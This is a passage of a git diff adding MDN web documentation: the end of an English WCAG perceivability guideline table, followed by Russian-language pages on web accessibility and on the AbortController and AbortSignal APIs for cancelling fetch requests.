+     <li>"Swipe from the right hand side of the screen to reveal the menu" — some users might not be able to swipe the screen, either due to disability or because their device does not support touch. An alternative should be provided, such as a keyboard shortcut or button that can be activated by keyboard or other means.</li>
+    </ul>
+
+    <div class="note">
+    <p><strong>Note</strong>: Conveying instructions solely by color is related, but covered in a different guideline — 1.4.1.</p>
+    </div>
+   </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.4 Orientation (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>Content does not restrict its view and operation to a single display orientation, such as portrait or landscape, unless a specific display orientation is essential.</td>
+   <td>
+    <p><a href="https://www.w3.org/WAI/WCAG21/Understanding/orientation.html">Understanding Orientation</a> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.5 Identify Input Purpose (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>
+    <p> </p>
+
+    <p>Follow the list of <a href="https://www.w3.org/TR/WCAG21/#input-purposes">53 input fields</a> to programmatically identify the purpose of a field.   </p>
+   </td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/identify-input-purpose.html">Understanding Identify Input Purpose</a></td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.6 Identify Purpose (AAA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>In content implemented using markup languages, the purpose of User Interface Components, icons, and regions can be programmatically determined.</td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/identify-purpose.html">Understanding Identify Purpose</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: Also see the WCAG description for <a href="https://www.w3.org/TR/WCAG21/#adaptable">Guideline 1.3: Adaptable: Create content that can be presented in different ways without losing information or structure.</a></p>
+</div>
+
+<h2 id="Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Guideline 1.4: Make it easier for users to see and hear content including separating foreground from background</h2>
+
+<p>This guideline relates to making sure core content is easy to discernable from backgrounds and other decoration. The classic example is color (both color contrast and use of color to convey instructions), but it applies in other situations too.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Success criteria</th>
+   <th scope="col">How to conform to the criteria</th>
+   <th scope="col">Practical resource</th>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="1">1.4.1 Use of color (A)</td>
+   <td>
+    <p>Color should not be solely relied upon to convey information — for example, in forms you should never mark required fields purely with a color (like red). Instead (or as well as), something like an asterisk with a label of "required" would be more appropriate.</p>
+   </td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Color and color contrast</a> and <a href="/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form#Multiple_labels">Multiple labels</a>.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.2 Audio controls (A)</td>
+   <td>For any audio that plays for longer than three seconds, accessible controls should be provided to play and pause the audio/video, and mute/adjust volume.</td>
+   <td>Use native <code>&lt;button&gt;</code>s to provide accessible keyboard controls, as shown in <a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Video_player_styling_basics">Video player syling basics</a>.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.3 Minimum contrast (AA)</td>
+   <td>
+    <p>The color contrast between background and foreground content should be at a minimum level to ensure legibility:</p>
+
+    <ul>
+     <li>Text and its background should have a contrast ratio of at least 4.5.1.</li>
+     <li>Heading (or just larger) text should have a ratio of at least 3.1. Larger text is defined as at least 18pt, or 14pt bold.</li>
+    </ul>
+   </td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Color and color contrast</a>.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.4 Resize text (AA)</td>
+   <td>The page should be readable and usable when the text size is doubled. This means that designs should be responsive, so that when the text size is increased, the content is still accessible.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.5 Images of text (AA)</td>
+   <td>Images should NOT be used to present content where text would do the job. For example, if an image is mostly textual, it could be represented using text as well as images.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.6 Enhanced contrast (AAA)</td>
+   <td>
+    <p>This follows, and builds on, criterion 1.4.3.</p>
+
+    <ul>
+     <li>Text and its background should have a contrast ratio of at least 7.1.</li>
+     <li>Heading (or just larger) text should have a ratio of at least 4.5.1. Larger text is defined as at least 18pt, or 14pt bold.</li>
+    </ul>
+   </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.7 Low or no background audio (AAA)</td>
+   <td>Prerecorded audio recordings that primarily feature speech should have minimal background noise, so the content can be easily understood.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.8 Visual presentation (AAA)</td>
+   <td>
+    <p>For text content presentation, the following should be true:</p>
+
+    <ul>
+     <li>Foreground and background colors should be user-selectable.</li>
+     <li>Text blocks should be no wider than 80 characters (or glyphs), for maximum readability.</li>
+     <li>Text should not be fully justified (e.g. <code>text-align: justify;</code>)</li>
+     <li>line height should be at least 1.5 times the text size within paragraphs (e.g. <code>line-height: 1.5;</code>), and at least 2.25 times the text size between paragraphs (e.g. <code>padding: 2.25rem;</code>)</li>
+     <li>When the text size is doubled, the content should not need to be scrolled.</li>
+    </ul>
+   </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.9 Images of text (No Exception) (AAA)</td>
+   <td>Text should not be presented as part of an image unless it is purely decoration (i.e. it does not convey any content), or cannot be presented in any other way.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.10 Reflow (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>
+    <ul>
+     <li>No horizontal scrolling for right-to-left languages (like English) or left-to-right languages (like Arabic)   </li>
+     <li>No vertical scrolling for top-to-bottom languages (like Japanese)</li>
+     <li>Except for parts of the content which require two-dimensional layout for usage or meaning (like a large data table).</li>
+    </ul>
+   </td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/reflow.html">Understanding Reflow</a></td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.11 Non-Text Contrast(AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>Minimum color contrast ratio of 3 to 1 for user interface components and graphical objects. </td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">Understanding Non-Text Contrast</a></td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.12 Text Spacing (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>
+    <p>No loss of content or functionality occurs when the following styles are applied: </p>
+
+    <ul>
+     <li>Line height (line spacing) to at least 1.5 times the font size;</li>
+     <li>Spacing following paragraphs to at least 2 times the font size;</li>
+     <li>Letter spacing (tracking) to at least 0.12 times the font size;</li>
+     <li>Word spacing to at least 0.16 times the font size.</li>
+    </ul>
+   </td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/text-spacing.html">Understanding Text Spacing</a></td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.13 Content on Hover or Focus (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>
+    <p>Additional content appear and disappear in coordination with hover and keyboard focus, this success criterion specifies three conditions that must be met:</p>
+
+    <ul>
+     <li>dismissable (can be closed/removed)</li>
+     <li>hoverable (the additional content does not disappear when the pointer is over it) </li>
+     <li>persistent (the additional content does not disappear without user action)</li>
+    </ul>
+   </td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/content-on-hover-or-focus.html">Understanding Content on Hover or Focus</a></td>
+  </tr>
+ </thead>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: Also see the WCAG description for <a href="https://www.w3.org/TR/WCAG21/#distinguishable">Guideline 1.4: Distinguishable: Make it easier for users to see and hear content including separating foreground from background.</a><a href="https://www.w3.org/TR/WCAG21/#distinguishable">.</a></p>
+</div>
+
+<p> </p>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="en-US/docs/Web/Accessibility/Understanding_WCAG">WCAG</a>
+
+  <ol>
+   <li>Perceivable</li>
+   <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable">Operable</a></li>
+   <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable">Understandable</a></li>
+   <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Robust">Robust</a></li>
+  </ol>
+ </li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/accessibility/веб-разработка/index.html b/files/ru/web/accessibility/веб-разработка/index.html
new file mode 100644
index 0000000000..3c20770967
--- /dev/null
+++ b/files/ru/web/accessibility/веб-разработка/index.html
@@ -0,0 +1,50 @@
+---
+title: Веб-разработка
+slug: Web/Accessibility/Веб-разработка
+tags:
+  - ARIA
+  - Web Development
+  - XUL
+  - доступность
+translation_of: Web/Accessibility
+---
+<p class="summary"><span class="seoSummary">Здесь ссылки на более подробную информацию для разработчиков о доступности (<span lang="en">accessibility</span>) в Веб и в XUL.</span></p>
+
+<table>
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">
+    <h2 id="Доступность_в_Вебе">Доступность в Вебе</h2>
+
+    <dl>
+     <dt><a href="/ru/docs/Accessibility/ARIA" title="http://developer.mozilla.org/ru/docs/Accessibility/ARIA">ARIA для разработчиков</a></dt>
+     <dd style="">ARIA позволяет делать доступным динамический HTML-контент. Examples are live content regions and JavaScript widgets.</dd>
+     <dt><a href="/ru/Accessibility/Keyboard-navigable_JavaScript_widgets" title="en/Accessibility/Keyboard-navigable JavaScript widgets">Keyboard-navigable JavaScript widgets</a></dt>
+     <dd>До недавнего времени у веб-разработчиков, желавших сделать свои виджеты на основе &lt;div&gt;, &lt;span&gt; и стилей доступными с клавиатуры, не было the proper techniques. Управляемость с клавиатуры — одно из минимальных требований accessibility, о которых должен знать каждый разработчик.</dd>
+    </dl>
+
+    <h2 id="Доступность_XUL">Доступность XUL</h2>
+
+    <dl>
+     <dt> </dt>
+     <dt><a href="/ru/Building_accessible_custom_components_in_XUL" title="en/Building_accessible_custom_components_in_XUL">Building accessible custom components in XUL</a></dt>
+     <dd>How to use DHTML Accessibility techniques to add accessibility to your custom XUL components.</dd>
+     <dt><a href="/ru/XUL_accessibility_guidelines" title="ru/XUL_accessibility_guidelines">Accessible XUL authoring guidelines</a></dt>
+     <dd>When authored according to these guidelines, XUL is capable of generating accessible user interfaces. Coders, reviewers, designers and QA engineers should be familiar with these guidelines.</dd>
+    </dl>
+   </td>
+   <td style="vertical-align: top;">
+    <h2 id="Внешние_ресурсы">Внешние ресурсы</h2>
+
+    <dl>
+     <dt><a class="external" href="http://diveintoaccessibility.info/">Dive into Accessibility</a></dt>
+     <dd><small>Эта книга отвечает на два вопроса. Первый — «Зачем мне делать мой сайт более доступным?» Второй — «Как мне сделать мой сайт более доступным?»</small></dd>
+     <dt><a class="external" href="http://www-306.ibm.com/able/guidelines/web/accessweb.html">Accessible Web Page Authoring</a></dt>
+     <dd>A handy web accessibility checklist, from IBM.</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/ru/web/api/abortcontroller/abort/index.html b/files/ru/web/api/abortcontroller/abort/index.html
new file mode 100644
index 0000000000..df1fa26a0c
--- /dev/null
+++ b/files/ru/web/api/abortcontroller/abort/index.html
@@ -0,0 +1,89 @@
+---
+title: AbortController.abort()
+slug: Web/API/AbortController/abort
+translation_of: Web/API/AbortController/abort
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>Метод<strong> </strong><code style=""><strong>abort()</strong></code> интерфейса {{domxref("AbortController")}} прерывает DOM запрос (например Fetch запрос) до его завершения. Это позволяет прервать <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросы</a>, использование любого ответа {{domxref("Body")}} и потоков.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">controller.abort();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Отсутствуют.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Не возвращает.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p> </p>
+
+<p>В следующем фрагменте мы будем загружать видео используя <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</p>
+
+<p>Сначала мы создаём контроллер с помощью контруктора {{domxref("AbortController.AbortController","AbortController()")}}, а затем получаем ссылку на связанный объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.</p>
+
+<p>Когда <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запрос</a> инициируется, мы передаём <code>AbortSignal</code> в качестве опции внутрь объекта параметров запроса (см. <code>{signal}</code> ниже). Это связывает сигнал и контроллер с fetch запросом и позволяет нам прервать его, вызвав {{domxref("AbortController.abort()")}}, как показано ниже во втором прослушивателе событий.</p>
+
+<p> </p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Загрузка прервана');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Ошибка загрузки: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Когда <code>abort()</code> вызывается, <code>fetch()</code> обещание отклоняется с <code>AbortError</code>.</p>
+</div>
+
+<p>Вы можете найти полный работающий пример на GitHub — см. <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> (<a href="https://mdn.github.io/dom-examples/abort-api/">увидеть работу в живую</a>).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortcontroller-abort', 'abort()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.AbortController.abort")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/api/abortcontroller/abortcontroller/index.html b/files/ru/web/api/abortcontroller/abortcontroller/index.html
new file mode 100644
index 0000000000..29d45de85f
--- /dev/null
+++ b/files/ru/web/api/abortcontroller/abortcontroller/index.html
@@ -0,0 +1,85 @@
+---
+title: AbortController.AbortController()
+slug: Web/API/AbortController/AbortController
+translation_of: Web/API/AbortController/AbortController
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>Конструктор <strong><code>AbortController()</code></strong> создаёт новый экземпляр объекта <code>AbortController</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var controller = new AbortController();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p> </p>
+
+<p>В следующем фрагменте мы будем загружать видео используя <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</p>
+
+<p>Сначала мы создаём контроллер с помощью контруктора {{domxref("AbortController.AbortController","AbortController()")}}, а затем получаем ссылку на связанный объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.</p>
+
+<p>Когда <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запрос</a> инициируется, мы передаём <code>AbortSignal</code> в качестве опции внутрь объекта параметров запроса (см. <code>{signal}</code> ниже). Это связывает сигнал и контроллер с fetch запросом и позволяет нам прервать его, вызвав {{domxref("AbortController.abort()")}}, как показано ниже во втором прослушивателе событий.</p>
+
+<p> </p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Загрузка прервана');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Ошибка загрузки: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Когда <code>abort()</code> вызывается, <code>fetch()</code> обещаение отклоняется с <code>AbortError</code>.</p>
+</div>
+
+<p>Вы можете найти полный рабочий пример на GitHub — см. <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> (<a href="https://mdn.github.io/dom-examples/abort-api/">см. как он работает в живую</a>).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortcontroller-abortcontroller', 'AbortController()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_бразуерами">Совместимость с бразуерами</h2>
+
+
+
+<p>{{Compat("api.AbortController.AbortController")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/api/abortcontroller/index.html b/files/ru/web/api/abortcontroller/index.html
new file mode 100644
index 0000000000..16854d03ae
--- /dev/null
+++ b/files/ru/web/api/abortcontroller/index.html
@@ -0,0 +1,97 @@
+---
+title: AbortController
+slug: Web/API/AbortController
+translation_of: Web/API/AbortController
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>Интерфейс <strong><code>AbortController</code></strong> представляет объект контроллера, который позволяет вам при необходимости обрывать один и более DOM запросов.</p>
+
+<p>Вы можете создать новый объект <code>AbortController</code> используя конструктор {{domxref("AbortController.AbortController()")}}. Взаимодействие с DOM запросами сделано с использованием объекта {{domxref("AbortSignal")}}.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("AbortController.AbortController()")}}</dt>
+ <dd>Создает новый инстанс объекта <code>AbortController</code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("AbortController.signal")}} {{readonlyInline}}</dt>
+ <dd>Возвращает инстанс объекта {{domxref("AbortSignal")}}, который может быть использован для коммуникаций/останова DOM запросов.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("AbortController.abort()")}}</dt>
+ <dd>Прерывает DOM запрос до момента его завершения. Это дает возможность обрывать <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросы</a>, потребителей любых ответов с {{domxref("Body")}} и потоки.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В текущем фрагменте мы пытаемся скачать видео используя <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</p>
+
+<p>Для начала мы создадим контроллер используя конструктор {{domxref("AbortController.AbortController","AbortController()")}}, затем возьмем ссылку на ассоциированный с ним объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.</p>
+
+<p>При инициализации <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запроса</a>, мы передаем <code>AbortSignal</code> в качестве параметра (смотрите ниже <code>{signal}</code>). Это ассоциирует сигнал и контроллер с fetch запросом и дает нам возможность оставновить запрос вызовом метода {{domxref("AbortController.abort()")}}, что можно увидеть во втором addEventListener.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>Заметка</strong>: При вызове <code>abort()</code>, промис <code>fetch()</code> будет отклонен с <code>AbortError</code>.</p>
+</div>
+
+<p>Вы можете найти полный рабочий пример на GitHub — смотрите <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> (<a href="https://mdn.github.io/dom-examples/abort-api/">и живой пример</a>).</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.AbortController")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="https://developers.google.com/web/updates/2017/09/abortable-fetch">Abortable Fetch</a> от Jake Archibald</li>
+</ul>
diff --git a/files/ru/web/api/abortcontroller/signal/index.html b/files/ru/web/api/abortcontroller/signal/index.html
new file mode 100644
index 0000000000..9d6dfa4304
--- /dev/null
+++ b/files/ru/web/api/abortcontroller/signal/index.html
@@ -0,0 +1,87 @@
+---
+title: AbortController.signal
+slug: Web/API/AbortController/signal
+translation_of: Web/API/AbortController/signal
+---
+<p>{{APIRef("DOM")}}{{SeeCompatTable}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание: </strong>Это свойство только для чтения.</p>
+</div>
+
+<p>Свойство <strong><code>signal</code></strong> интерфейса {{domxref("AbortController")}} возвращает экземпляр объекта {{domxref("AbortSignal")}}, который может быть использован для связи/прерывания DOM запроса по желанию.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var signal = abortController.signal;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Экземпляр объекта {{domxref("AbortSignal")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем фрагменте мы будем загружать видео используя <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</p>
+
+<p>Сначала мы создаём контроллер с помощью контруктора {{domxref("AbortController.AbortController","AbortController()")}}, а затем получаем ссылку на связанный объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.</p>
+
+<p>Когда <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запрос</a> инициируется, мы передаём <code>AbortSignal</code> в качестве опции внутрь объекта параметров запроса (см. <code>{signal}</code> ниже). Это связывает сигнал и контроллер с fetch запросом и позволяет нам прервать его, вызвав {{domxref("AbortController.abort()")}}, как показано ниже во втором прослушивателе событий.</p>
+
+<p> </p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Загрузка прервана');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Ошибка загрузки: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Когда <code>abort()</code> вызывается, <code>fetch()</code> обещаение отклоняется с <code>AbortError</code>.</p>
+</div>
+
+<p>Вы можете найти полный рабочий пример на GitHub — см. <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> (<a href="https://mdn.github.io/dom-examples/abort-api/">см. как он работает в живую</a>).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortcontroller-signal', 'signal')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.AbortController.signal")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/api/abortsignal/abort_event/index.html b/files/ru/web/api/abortsignal/abort_event/index.html
new file mode 100644
index 0000000000..15a89fd35e
--- /dev/null
+++ b/files/ru/web/api/abortsignal/abort_event/index.html
@@ -0,0 +1,134 @@
+---
+title: abort
+slug: Web/API/AbortSignal/abort_event
+translation_of: Web/API/AbortSignal/abort_event
+---
+<div>{{SeeCompatTable}}</div>
+
+<p>Событие <code><strong>abort</strong></code> из <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> вызывается когда fetch запрос прерывается, т.е. с помощью {{domxref("AbortController.abort()")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td>Bubbles</td>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <td>Cancelable</td>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <td>Target objects</td>
+   <td>{{domxref("AbortSignal")}}</td>
+  </tr>
+  <tr>
+   <td>Interface</td>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p> </p>
+
+<p>В следующем фрагменте мы создаём новый объект {{domxref("AbortController")}}, и получаем его {{domxref("AbortSignal")}} (доступно в свойстве <code>signal</code>). Позже мы проверяем, был ли прерван сигнал, используя свойство <code>aborted</code>, и выводим соответствующее сообщение в консоль.</p>
+
+<p> </p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+signal.onabort = function() {
+  console.log('Request aborted');
+};
+</pre>
+
+<h2 id="Наследование">Наследование</h2>
+
+<p>Событие <code>abort</code> реализует {{domxref("Event")}} интерфейс — он имеет свойства и методы, определённые в нём.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortsignal-onabort', 'abort')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(57)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(57)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/api/abortsignal/aborted/index.html b/files/ru/web/api/abortsignal/aborted/index.html
new file mode 100644
index 0000000000..1841427cd2
--- /dev/null
+++ b/files/ru/web/api/abortsignal/aborted/index.html
@@ -0,0 +1,60 @@
+---
+title: AbortSignal.aborted
